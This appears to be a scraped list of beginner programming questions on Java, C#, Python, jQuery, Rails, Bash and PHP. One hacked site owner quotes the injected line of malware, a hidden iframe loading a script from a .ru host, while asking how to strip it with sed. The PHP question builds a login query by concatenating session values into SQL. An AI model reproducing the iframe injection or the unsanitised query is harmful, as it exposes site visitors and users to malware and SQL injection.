• Similar Sub-Classes

  - by praks5432

  Lets say I have a class A that is fairly simple like this - public class A{ private int randomField = 0; protected int key; protected double dmg; } Now I want to write a number of sub-classes that inherit the protected fields and only differ based on the initial values that are assigned to those fields - for example, if I wrote two subclasses B and C, the only difference between those two sub-classes would be that the values key and dmg would have different values. They would share a method, set, which would be exactly the same, in that it would affect the same variable. I find when I'm writing these sub-classes I'm repeating myself, as I just change the constructor to set different initial values to key and dmg, and simply copy and paste the set method. Is there a 'good' way to do this?

  - by whatsherface

  I'm adding some new bits to one of the lines in a text file and then writing it along with the rest of the lines in the file to a new file. Referring to the if statement, I that to be all on the same line: x = 13.55553e9 y = 14.55553e9 z = 15.55553e9 infname = 'afilename' outfname = 'anotherone' oldfile = open(infname) lnum=1 for line in oldfile: if (lnum==18): line = "{0:.2e}".format(x)+' '+line+' '+"{0:.2e}".format(y)+' '+ {0:.2e}".format(z) newfile = open(outfname,'w') newfile.write(line) lnum=lnum+1 oldfile.close() newfile.close() but y and z are being written on the line below the rest of it.

• Can we avoid multiple if''s(C#3.0)

  - by Newbie

  I tried my level best to write an improved version but failed. inFiles.ToList().ForEach(i => { filePath = inFolder + "\\" + i.Value; if (i.Key.Equals(replacementFile)) { replacementCollection = GetReplacementDataFromFile(filePath); } else if (i.Key.Equals(standardizationFile)) { standardizationCollection = GetStandardizationDataFromFile(filePath); } }); The problem is that I cannot use a switch case over here because the comparison variables are not constant. Kindly help to improve this code. I am using C#(3.0). Thanks

• Missing } in XML expression

  - by Chris

  I have an external javascript file that I want to, upon include, write some HTML to the end of the web page. Upon doing so though I get the error Missing } in XML expression on the line that uses dropdownhtml. Here is my code var dropdownhtml = '<div id="dropdown"></div>'; $(document).ready(function(){ //$(document).append(dropdownhtml); alert(dropdownhtml); }); The XHTML webpage that includes this file does so like this: <script type="text/javascript" src="/web/resources/js/dropdownmenu.js"></script> Doing either append or alert throws up the same error, what is going wrong?

• I'm very new to C# and reading about attributes, is there a keypress attribute?

  - by akevit

  I'm coming from intermediate java level and I wanted to spend some time tonight learning C#, partly because a game I used to play is now free to play (Asheron's Call) and when I used to play I had always wanted to write a plugin for Decal but 10 years ago I didn't know nearly enough to do anything. Anyways most of that won't mean much to anyone, but what I essentially want to do is something along the lines of (psuedo code): [KeyPressEvent("KeyPressed")] private void KeyPressed(object sender, KeyPressEventArgs args) { if (args.KeyPressed == VK_K) { // Do stuff } } If I'm not providing enough information or if my description of what I want to do is a little off base let me know. Most plugins for this are written in VB6, but in the past few years Decal has upgraded to .NET 3.5 support so I can use things up until there; a lot of the VB6 stuff uses event subscriptions (e.g. Core.EchoFilter.ServerDispatch += EchoFilter_ServerDispatch;) My C# vernacular is not up to part, but on that notion I haven't done a whole lot of Java projects that related to events (or Observers as I believe they're referred to as).

• Using sed to delete string

  - by wired

  I was hacked and have hundreds of .js files with this line of code that I'm trying to get rid of: ;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); It is the last line of the file, but I think the file contains windows line endings, because when ever I do this: sed -i '/sitecorporatemanagement.ru/d' * it deletes the full content of the file. Can you help me get this to work? I just need that full string deleted. Thank you for all the help you can give.

• nested has_many

  - by dorelal

  I am using Rails 2.3.5. Class User < ActiveRecord::Base has_many :phones end class Phone < ActiveRecord::Base has_many :frequency_bands end I want to get all the frequency_bands for a user. I know I can write a method def freq_bands for User but I would like to know if it is possible to have has_many freq_bands for a User. In this way I can chain the call. What I would like to have is class User < ActiveRecor::Base has_many :frequence_bands, :through => phones end I think it is possible to have nested has_many using this plugin http://github.com/ianwhite/nested_has_many_through However if possible I would like to avoid using another plugin and rely solely on rails.

• A function that can make caller return

  - by icando

  I am writing some BASH script and I want it have some error handling mechanism: function f() { command1 || { echo "command1 failed"; return 1; } command2 || { echo "command2 failed"; return 1; } command3 || { echo "command3 failed"; return 1; } command4 || { echo "command4 failed"; return 1; } } I want to make this repetitive structure more readable by defining some function: function print_and_return() { echo "$@" # some way to exit the caller function } so that I can write function f as function f() { command1 || print_and_return "command1 failed" command2 || print_and_return "command2 failed" command3 || print_and_return "command3 failed" command4 || print_and_return "command4 failed" } What's the best way to achieve this? Thanks.

• Accessing ajax POST response in javascript

  - by mike44

  I'm making ajax POST request from javascript function: function UpdateMetrics() { $.ajax({ type: "POST", url: "MyHandler.ashx?Param1=value1", data: "{}", contentType: "text/json; charset=utf-8", dataType: "text", success: function (msg) { var jsonUpdatedData = msg; ... } }); } From my handler, I'm sending json string with: context.Response.write(json); I think I'll get it in msg. I also want to send other string (count). So I'm trying to use header info along with json data. So I added this line: context.Response.Headers.Add("MaxCount",Convert.ToString(tempList.Count)); If this is right way to do it, how can I access it in my success function?

• Is there any event sent to window when new tab opens from parent tab on click a anchor tag with target _blank?

  - by Justin John

  I need to write callback function on clicking an anchor with target="_blank". <a rel="external" href="http://twitter.com/" target="_blank"> <img src="twitter.png"> </a> I think, following code block will do it. $("a[target='_blank']").click(function() { // action required }); Is there any other way where we can get an event with new tab opens? For example: The unload event is sent to the window element when the user navigates away from the page. If I think same perspective, Is there any event sent to window when a new tab opens.

• Proper way to use before_create

  - by ruevaughn

  Pretty basic question here, I need to write a before filter on my Category model, to ensure that the depth never reaches more than 2. Here is what I have so far. app/models/category.rb before_create :check_depth def check_depth self.depth = 1 if depth > 2 end I need it instead of setting depth to 1, just to return a error message, but I can't even get this current setup to work, I get the error undefined method `>' for nil:NilClass So, instead of setting the depth to one like I'm trying to do how would I send an error instead? And any help getting the current function working for informational purposes? Thanks in advance

• How to resize & move css divisions at same time?

  - by achievelimitless

  I have a division in which i'll be having dynamic numbers of colorful blocks(that too divisions) at various instances. On clicking the box, i want them to expand & cover whole screen. the problem is, while boxes are expanding, they are expanding at there own position & not shifting in the screen.. I used: .elemented1 { width: 100%; height: 80%; -webkit-animation: elemen1 0.3s; border: 0px; } @-webkit-keyframes elemen1 { from { width: 49.6%; height: 39.6%; } to { width: 100%; height: 80%; } } This is working fine but i have to put blocks dynamically. I cant write animations for individual blocks as they will be of different sizes.

• writing terminal output to file

  - by user1551817

  On my machine, I have some software which takes commands in the terminal and returns a list of values. To run it, I have to type something like: pdv -t filename I am trying to run it as part of a python programme. When I run the following: os.system('pdv -t %s' % (epoch_name)) then I get the values that I desire returned to my terminal (where epoch_name is the variable name for the filename). But when I try to write the result to a file: os.system('pdv -t %s % "(epoch_name)" > 123.txt') the file 123.txt is produced but it is empty. I know that I am misplacing the " and/or ' characters, but I can't figure out where they should go. Any help would be gratefully received!

• Select value from database and store into a temporary variable

  - by user1616230

  I want to select a stored value from database and then put it into a temporary variable. For example, I have a column called category, one value under it is m, so I want to select this m value from the database, let's say from a table of a database called user_info. Then I want to put it into a variable, let's name it $res. After that, I want to do some condition stuff, such as if $res=="m", Can anyone help me write a simple structure here? Here is the code: <?php $sql = "Select category FROM user_info WHERE user_name = '" .$_SESSION['username']."' and password = '".$_SESSION['password']."'"; $res = mysql_query($sql); if($res == "a"){ include('MPIncomeStrategy.php'); } if($res == "b"){ include('MPIncomeStrategy.php'); } But it seems that the code is not able to detect $res =="category value in database". Did I just use the wrong way to store the category value?

• Subtyping and assignment in Java

  - by Danrex

  Arghh I just know people are going to hate me for asking this... I was just playing around with inheritance and I noticed you can instantiate a subclass object in one of two ways when you write code. So then I wondered if there is any functional difference between these two methods. So in the code below, does this produce the exact same result...a MountainBike object, or is there some difference I should know about? Bicycle is the superclass for this example. If I do Bicycle bike or MountainBike bike I am effectively making a MountainBike due to new MountainBike()? So basically the difference is just semantics at this point? Bicycle bike = new MountainBike(); MountainBike bike = new MountainBike();
